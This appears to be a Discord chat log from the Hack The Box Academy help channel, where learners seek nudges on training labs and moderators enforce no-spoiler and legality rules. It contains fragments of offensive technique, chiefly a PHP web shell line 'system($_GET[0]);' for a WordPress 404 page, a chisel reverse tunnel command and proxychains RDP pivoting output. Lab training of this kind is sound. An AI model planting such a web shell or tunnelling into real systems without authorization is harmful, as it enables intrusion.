proxychains xfreerdp /u:<redacted> /p:<redacted> /v:x [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.16 [proxychains] Strict chain ... 127.0.0.1:1080 ... x:3389 ... OK [00:43:42:384] [201623:201625] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0 [00:43:42:385] [201623:201625] [WARN][com.freerdp.crypto] - CN = FILE01.nexura.htb [00:43:43:786] [201623:201625] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 0: Success [00:43:43:786] [201623:201625] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D] [proxychains] Strict chain ... 127.0.0.1:1080 ... x:3389 ... OK [00:43:45:249] [201623:201625] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 0: Success [00:43:45:249] [201623:201625] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D] [00:43:45:249] [201623:201625] [ERROR][com.freerdp.core] - freerdp_post_connect failed

[frosty crescent]

same boat

should I just learn ligolo-ng and come back to this?

I see a lot of people here had the same question as me but I haven't seen an answer that helps me.........

[prime solar]

👋 HTB buds

[cerulean elbow]

Hi

[prime solar]

What's good around here?

[cerulean elbow]

Nope, I can't change my server name

[cloud urchin]

This channel is for module discussion. Please read the #rules and follow the instructions in #welcome to gain access to most channels like #general where you can continue this conversation.

[opal shuttle]

i found flag for the nmap modules...but its showing wrong flag

htlb also getting rabbit holes

[cloud urchin]

it's probably for another question then

[opal shuttle]

actually i was seeing a banner for the previuos quesiton

its runs the same vm

when i scanned all the ports it got that

nvm

[opal shuttle]

ohh u r cpts student

i have some quesiton

there is a feature in vm machine of pausing the vm

i was thinking if it would be helpful in the exam

going to rest then pause the vm

and pick it from where i left

@cloud urchin have you ever tried that?

[gentle fog]

anyone can help me in footprinting module

[tall imp]

someone can help me perform the password attack Skills Assessment, what he does was use a chisel sudo./chisel_1.7.7_linux_amd64 server --reverse ---------------------> /tmp/chisel_1.7.7_linux_amd64 client 10.10.15.1:8080 R: shocks 2025/06/22 08:56:40 client: Connection to ws: // 10.10.15.1:8080 2025/06/22 08:56:41 client: Connected (Latency 75.067152ms) now if I can see the internal ips: DMZ01 172.16.119.13 SALTO01 172.16.119.7 FILE01 172.16.119.10 DC01 172.16.119.11 but I don't know what to do anymore, someone can speak to me privately and help me, please

[waxen totem]

Check for any leading or trailing spaces also dont post flags here

[nova berry]

help me out wiht this ques "What other user in the domain has CanPSRemote rights to a host?"

~~in ad module https://academy.hackthebox.com/module/143/section/1275~~

running the query i get only forend as user NVM GOT IT

[tall imp]

someone can help me, get with me to solve the password attack module secretly the Skills Assessment

[gentle fog]

i think its a bug from HTB like i got the flag and it says not correct

[waxen totem]

Restart the target or swap VPNs and check for spaces as the start and end

[forest tendon]

Am I right to assume that in essence the powershell helps us communicate with the system and OS resources through .NET------>C#------>Kernel in windows environement?

[hybrid pulsar]

hey

[dull spruce]

hey i'm sorry i not speak englis

[hybrid pulsar]

which language do uou speak

[dull spruce]

i speak spanish ?jeje

[edgy valve]

Why server name HackThe box

[fathom pendant]

@dull spruce @edgy valve @hybrid pulsar this server isn't a hacker4hire server; and this isn't a server about performing illegal activities. See the #welcome and #rules channels

[fathom pendant]

Because it's the official server of https://www.hackthebox.com

[edgy valve]

So what is the benefit of it ?

[fathom pendant]

learning ethical hacking skills that you can use to pursue things like bug bounty, which is legal hacking of services

[edgy valve]

aaaaaaaa

[fathom pendant]

hacking discord servers is de facto illegal. No matter how you spin it

[barren apex]

anyone available for a quick question on Footprinting module, IMAP / POP3 section?

[fathom pendant]

what's the question

lmao

you don't generally have to ask to ask

[barren apex]

oh, thought it's not allowed xD

[fathom pendant]

as long as it's not a spoiler for the module it's fine

but you can ask for nudges and such

try resetting the target and trying again

sometimes the targets don't spawn properly

you can also try changing vpn regions

[barren apex]

I reset both the target and my whole machine xD

[fathom pendant]

try changing vpn regions :)

[barren apex]

I'll try that real quick

[fathom pendant]

also remove the attached image as it's technically a form of spoiler, always redact usernames/passwords

[exotic bay]

how to become hacker no root work 2gb ram.

[barren apex]

I didn't notice that xd

thanks for help btw

problem solved, thank you @fathom pendant ❤️

[fathom pendant]

not sure why it's breaking on you, would have to figure out where stuff is being injected and inspect the page source

[tough ravine]

i am doing the Network enumaration with Nmap and i cant find the flag on the NSE Exercise and the hint isnt helping this is the previous flag from another question

[waxen totem]

try using some scripts designed for web, e.g. port 80 in this case

[tough ravine]

ran them all already on port 80 do you have any scripts you suggest

[waxen totem]

wdym by them all? cos if you did run all http scripts you'd still be running them

[tough ravine]

these

[waxen totem]

Ohh, well if you did a little research you'd come accross stuff like: https://nmap.org/nsedoc/scripts/http-enum.html

[tough ravine]

my bad appreciatte it

[faint hamlet]

That thick client application section in attacking common applications felt so out of place, like you are just showing me do this, this and this. It could be its own module related to reverse engineering and stuff.

[hollow heart]

[fathom pendant]

It's even shown a little bit in the section

[steep forum]

You can DM me.

It's hard to say without further information. My previous response was irrelevant after further research @rustic sage.

Do other PowerView commands work?

Strange, I don't think I know enough about this function to help you, sorry. This old issue might be related though: https://github.com/SpecterOps/BloodHound-Legacy/issues/39.

Good luck finding a solution!

[queen lion]

Anybody solved artificial machine

[waxen totem]

#boxes is the correct channel, but since it's also the most recent machine it has its own channel #1386042800323301447, if you don't have access #welcome has instructions.

[gray yacht]

From what I recall with this one, the child domain isn't actually up or at least that's what I have in my notes. I couldn't get a response or identify it when I went through this section. It wasn't technically required to answer the questions at the end, so it could be by design. You could always create an erratum for it.

Yeah the command is correct. I'm sure if you changed the domain to just inlanefreight.local it would dump users. If you still have it up, you can test it out like that.

[opal shuttle]

can pls anybody help me figuring out what i am doing wrong

its from nmap ids ips lab

[hasty trellis]

.

[opal shuttle]

in nmap scan it showed tcp

[echo cosmos]

The thick client application section (Atttacking Common applications module) is driving me crazy ngl, wireshark doesn't seem to capture any noteworthy DNS traffic when logging in to fatty java application. Can somebody pls help?

[echo widget]

hi,
Is anyone available to help with the Lateral Movement skill assessment? I'm stuck on the 2nd question ty

[opal shuttle]

Does it matter?

My goal is to fetch dns version

And it is showing port filtered, goal is to bypass ids or ips

udp

but sometimes it goes for tcp as well

what should i do now?

i am very confused

everything else ok?

now i got open | filtered

i got diff response

yeah

[astral meteor]

yo

[opal shuttle]

how to do that? by -A or -sV right? at slow rate i guess

[reef holly]

Hello, can someone help me with tcpdump? I am only trying to see traffic on tun0 and ping default gateway and it shows nothing.... My tun0 is up, inet 10.10.14.129/23 scope global tun0... sudo tcpdump -i tun0 -w test.pcap; sudo ping 10.10.14.1..... what am I missing?

[opal shuttle]

thanks

actually this topic is very confusing...disabling arp , icmp

etc et

[dark hedge]

@opal shuttle use pwnbox

[opal shuttle]

i have a quesiton...a year back ago at parrot's official site there was a version of htb parrot os

now i cant find that

[echo cosmos]

I honestly don't know what's wrong. I tried restarting the target VM but still nothing. Wireshark is capturing traffic from all of the interfaces but still no DNS traffic to resolve fatty.htb

[dark hedge]

https://deb.parrot.sh/parrot/iso/6.3.2/Parrot-htb-6.3.2_amd64.iso

it's not premade like the pwnbox is

[opal shuttle]

ohh

so i need to install all the tool manually

i was just typing your thanks message

[dark hedge]

some tools are already installed, others you will have to install manually

[opal shuttle]

yeah i got it

[dark hedge]

i think python2.7 also isn't installed

[opal shuttle]

hard lab is pending

i have many questions regrading this last ids and ips part...can i dm for if you dont mind

[opal shuttle]

do we need that now a days?

[dark hedge]

maybe, if you need to run some older scripts

[opal shuttle]

ok

yeah but on htb boxes they dont use firewalls

i run nmap scans on --min-rate=10000

on the htb boxes

and never got into trouble

this firewall things is very new for me

and the thing is ...on the first two boxes there was no firewallsystem

i was overcomplicating things in my mind assuming that i should decoy etc etc

[red plover]

Hi guys, can someone help me on the AD enumeration & attacks, skilss 2, i'm in Q8 and already take all passwords atacks and cant take the answe, i've been 3 weeks stuck in thid situation, really need help

[opal shuttle]

@rustic sage

i cant find the answer

[cloud urchin]

@opal shuttle Please take care not to post content from modules above tier 0

Also as this is a skill assessment you should take it to DM's not not spoil

[opal shuttle]

ohkk..

[spice mural]

@cloud urchin As tier 0 you mean Fundamentals?

[opal shuttle]

just dont post anything

better to talk in dm

[spice mural]

Alrighty

^^

[opal shuttle]

have you completed nmap module?

[spice mural]

Nope

Sorry

[cloud urchin]

The modules themselves are tier 0, 1, 2, 3, 4. They say which tier they are in the overview page.

[spice mural]

Alright

[spice mural]

So here's a quick question, I'm on Linux fundamentals ( yes I know starting from the bottom) and I'm trying to connect to the ssh via the terminal with this command:

ssh (ip) htb-student@HTB_@cademy_stdnt!

But unfortunately it ask me for an another password that I don't have. What am I doing wrong?

Ooooooh

Thanks it worked

[fleet charm]

Hey hey, anybody know what might be the issue here? I can connect with the nameservers but I'm not successful with the zone transfer. The domain for the spawned server is the same

[cloud urchin]

Try ssh <user>@<ip>

[spice mural]

Thank you ^^

[cloud urchin]

The command you used is just an example. You need to use the spawned target as the nameserver.

[fleet charm]

Yes, that one also doesn't work 😅

Could someone give it a try to confirm that it is working so I know if I should spend more time troubleshooting my own setup? I would be very grateful 🙏

[cloud urchin]

you didn't mention the module or section

[fleet charm]

Someone deleted my original question??

[cloud urchin]

it looked to have content from a module above tier 0

[fleet charm]

It was the dns zone transfer module

[cloud urchin]

that's not a module. do you mean the information gathering - web edition module, dns zone transfers section?

[fleet charm]

I guess?

[spiral basin]

hi

[opal cape]

Hey in the "Attacking Common Applications " - Attacling WordPress, none of the themes allow me to update the 404 page with system($_GET[0]); web shell. I get an error when clicking update

[cloud urchin]

I just tested, works for me. Maybe try respawning the target or changing servers/regions if you believe it's an issue with the environment.

[cloud urchin]

Welcome. Please read the #rules and follow the instructions in #welcome to gain access to #general where you can say "hi" etc. This channel is for discussion of the modules on HTB's Academy platform.

[fleet charm]

Thank you so much, I appreciate it. Just needed confirmation that its on my side

[spiral basin]

oh

so no hi?

ok then bye

[cloud urchin]

This is not the appropriate channel for general discussion.

[spiral basin]

aw man alr then

[opal cape]

@cloud urchin you have any suggestions?

[cloud urchin]

I originally started taking notes in OneNote.. shortly after I switched to Obsidian. Unfortunately, my notes for this module were in OneNote and one day OneNote decided to randomly delete pages, the attacking common apps module was one of them so I don't currently have any notes on that module.

[opal cape]

Gyat dayumn. Ok

[spiral basin]

hear me out on doraemon

[cloud urchin]

@tough ravine No need to post screenshots that spoilt content. Remember it's against the rules to post content above tier 0. Simply call out the module, section, and question you're stuck on if you need a nudge.

[tough ravine]

my bad but it doesnt work so where can i get support

[cloud urchin]

You can ask for assistance here, just don't post stuff that reveals content from the modules above tier 0.

[tough ravine]

Network enumaration with nmap section Firewall and ids/ips Evasion

[cloud urchin]

"I need help with module x and section x. I'm on question x and have tried x. I'm getting error x." etc.. anyone who has done these modules doesn't need to see screenshots from the module as they already know what to do.

[tough ravine]

easy

[cloud urchin]

if you feel like you need to reveal more info you can ask someone to take it to DM's

[tough ravine]

well any volunteers

[opal shuttle]

Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer. (nmap module ids and ips hard lab) {having trouble to find the answer}

[tough ravine]

can you help me with the easy one? from the labs

[opal shuttle]

of nmap?

[tough ravine]

yes

i put in the anwser i find but it says wrong anwser

[cloud urchin]

I'd suggest reviewing the "Firewall and IDS and IPS Evasion" section and trying the commands given there. Once you find the service try connecting with ncat.

[opal shuttle]

i found services

but that's not the answer

[opal shuttle]

you can dm me

[cloud urchin]

I do not believe you found the correct port

[tough ravine]

i know -sC

[opal cape]

@opal shuttle you finish the attacking wordpress module?

[opal shuttle]

yeah

[tough ravine]

addded you

it doesnt ask the flag just the OS

[opal cape]

@opal shuttlein the "Attacking Common Applications " - Attacling WordPress, none of the themes allow me to update the 404 page with system($_GET[0]); web shell. I get an error when clicking update

[opal shuttle]

its before nmap module?

[opal cape]

no no

[gray yacht]

You likely have what you need but just don't know it. Be sure to perform post exploitation on all compromised hosts. Nothing crazy, just some basic information gathering, credential harvesting, etc.

[opal shuttle]

then i didnt

[opal cape]

its after web attacks

towards the end

[opal shuttle]

i didnt

[opal shuttle]

you done nmap module?